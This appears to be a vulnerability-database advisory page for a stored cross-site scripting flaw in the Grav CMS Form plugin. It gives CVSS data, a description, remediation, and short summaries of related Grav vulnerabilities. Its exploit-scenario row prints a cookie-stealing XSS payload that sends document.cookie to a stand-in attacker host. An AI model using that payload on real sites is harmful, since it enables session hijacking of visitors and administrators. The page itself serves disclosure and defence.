EUVD-2026-58635
GHSA-3mpx-xv5p-92mv
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Form authoring requires a low-privilege account (PR:L); victim must load the form page (UI:R); scripts execute cross-user (S:C); no availability impact applies.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
Grav Form plugin versions before 9.1.15 contain a stored cross-site scripting vulnerability in radio and toggle field option labels rendered with the Twig |raw filter. Attackers with form authoring permissions can inject HTML and script payloads in option labels that execute in the browsers of visitors and administrators viewing the form.
AnalysisAI
Stored cross-site scripting in the Grav Form Plugin before version 9.1.15 allows authenticated form authors to inject arbitrary HTML and JavaScript into radio and toggle field option labels, which then execute in the browsers of any visitor or administrator rendering that form. The root cause is Twig's |raw filter being applied to user-controlled label content, bypassing the template engine's automatic output encoding. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the attacker to hold a Grav CMS account with form-authoring permissions - the ability to create or edit forms containing radio or toggle fields. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 5.1 (Medium) is well-calibrated for this vulnerability class. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker holding a form-author account within a shared Grav instance edits a public-facing form and sets a radio button option label to a payload such as `<img src=x onerror=fetch('https://attacker.com/?s='+document.cookie)>`. Every subsequent visitor - including site administrators - who loads the form page triggers the payload, leaking their session cookie to the attacker. … |
| Remediation | Upgrade the Grav Form plugin to version 9.1.15 or later, which removes or sanitizes the unsafe |raw filter application on radio and toggle field option label output. … Detailed patch versions, workarounds, and compensating controls in full report. |
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Grav is a file-based Web platform. Prior to 1.8.0-beta.27, a Server-Side Template Injection (SSTI) vulnerability exists
Grav is a file-based Web platform. Prior to 1.8.0-beta.27, due to improper authorization checks when modifying critical
A Remote Code Execution (RCE) vulnerability in Grav CMS v1.7.48 allows an authenticated admin to upload a malicious plug
Grav is a file-based Web platform. Rated critical severity (CVSS 9.9), this vulnerability is remotely exploitable, low a
GravCMS 1.10.7 allows unauthenticated remote attackers to write arbitrary YAML configuration files, leading to full serv
Grav is a file-based Web platform. Prior to 1.8.0-beta.27, a user with admin panel access and permissions to create or e
Grav is a file-based Web platform. Prior to 1.8.0-beta.27, Grav CMS is vulnerable to a Server-Side Template Injection (S
Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
Same weakness CWE-79 – Cross-site Scripting (XSS)
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External POC / Exploit Code
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